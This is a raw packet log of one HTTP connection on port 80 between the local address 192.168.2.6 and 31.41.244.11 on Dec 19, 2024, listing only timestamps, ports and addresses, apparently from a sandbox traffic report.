Dec 19, 2024 16:10:34.495472908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.495757103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.495800018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.498281956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.498306990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.498321056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.498330116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.498332977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.498347998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.498349905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.498368979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.498387098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.500686884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.500705957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.500720978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.500734091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.500739098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.500761986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.500777006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.502268076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.502288103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.502300978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.502315998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.502321005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.502348900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.504318953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.504334927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.504348993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.504360914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.504374981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.504379988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.504425049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.506694078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.506711960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.506726027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.506737947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.506738901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.506756067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.506778002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.506908894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.507057905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.508007050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.508065939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.645029068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.645047903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.645104885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.645200014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.645241976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.645709991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.645723104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.645770073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.646251917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.646342039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.646511078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.646699905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.647218943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.647855043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.647984982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.648027897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.648106098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.648118019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.648142099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.648170948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.649149895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.649195910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.649449110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.649494886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.650196075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.650237083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.650763988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.650852919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.651386976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.651398897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.651442051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.652124882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.652364016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.652530909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.652573109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.653036118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.653100014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.653321028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.653366089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.653955936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.654140949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.654261112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.654326916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.654982090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.654993057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.655020952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.655035019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.655962944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.656012058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.656133890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.656174898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.656959057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.657010078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.657454967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.657495975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.657953024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.658238888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.658238888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.658287048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.659054995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.659068108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.659101963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.659115076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.660166025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.660219908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.660953999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.660967112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.661000967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.661014080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.661063910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.661106110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.661850929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.662251949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.662765980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.662831068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.662832022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.662837982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.662877083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.662904024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.663830042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.664112091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.664897919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.664911032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.664923906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.664951086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.664990902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.665834904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.665885925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.666379929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.666424036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.666703939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.666743994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.670757055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.670769930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.670798063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.670814991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.671081066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.671128035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.671186924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.671230078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.672015905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.672084093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.672813892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.672872066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.673082113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.673302889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.674642086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.674654961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.674688101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.674705029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.675369978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.675384998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.675414085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.675437927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.676167965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.676326990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.676691055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.676753998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.676912069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.676995039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.677793980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.677947044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.678733110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.678759098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.678771973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.678776026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.678791046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.678816080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.680167913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.680182934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.680217028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.680246115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.681016922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.681032896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.681082010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.681705952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.681746960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.682255030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.682301998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.683358908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.683717966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.683768988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.684195995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.684288979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.684525967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.684602976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.684957027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.685005903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.685189962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.685230970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.685895920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.685949087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.686032057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.686074972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.686923981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.686965942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.687081099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.687165022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.687810898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.687936068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.688925028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.688941002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.688955069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.688976049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.689004898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.689826965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.689881086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.689971924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.690012932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.690555096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.690598011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.690902948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.690952063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.691484928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.691538095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.692003965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.692050934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.692452908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.692518950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.692881107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.692920923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.693289995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.693298101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.693347931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.693928957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.693978071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.694052935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.694099903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.694709063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.694753885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.694813967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.694855928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.695738077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.695787907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.696584940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.696599007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.696611881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.696640015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.696669102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.697551966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.697607994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.697694063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.697838068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.698429108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.698483944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.699279070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.699328899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.699651957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.699696064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.836909056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.837003946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.837230921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.837313890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.837354898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.837373972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.837389946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.837450027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.838052034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.838067055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.838098049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.838108063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.839029074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.839099884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.839292049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.839344978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.840046883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.840094090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.840821028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.840868950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.841063023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.841077089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.841114044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.841131926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.842174053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.842222929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.842246056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.842263937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.842915058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.843013048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.843647003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.843796015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.843872070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.844085932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.844145060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.844301939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.845012903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.845072031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.845084906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.845122099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.845820904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.845865011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.846888065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.846901894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.846956968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.847352982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.847846031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.847857952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.847913980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.847925901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.848819971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.848833084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.848865032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.848877907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.849818945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.849874973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.850095987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.850140095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.850763083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.850775957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.850805044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.850819111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.851749897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.851799011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.852376938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.852432966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.852814913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.852864981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.853749037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.853760958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.853796959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.853810072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.854312897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.854387045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.854846001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.854859114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.854909897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.855716944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.855750084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.855798960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.856751919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.856765032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.856832027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.857697964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.857748985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.858027935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.858263969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.858819962 CET	80	49881	31.41.244.11	192.168.2.6
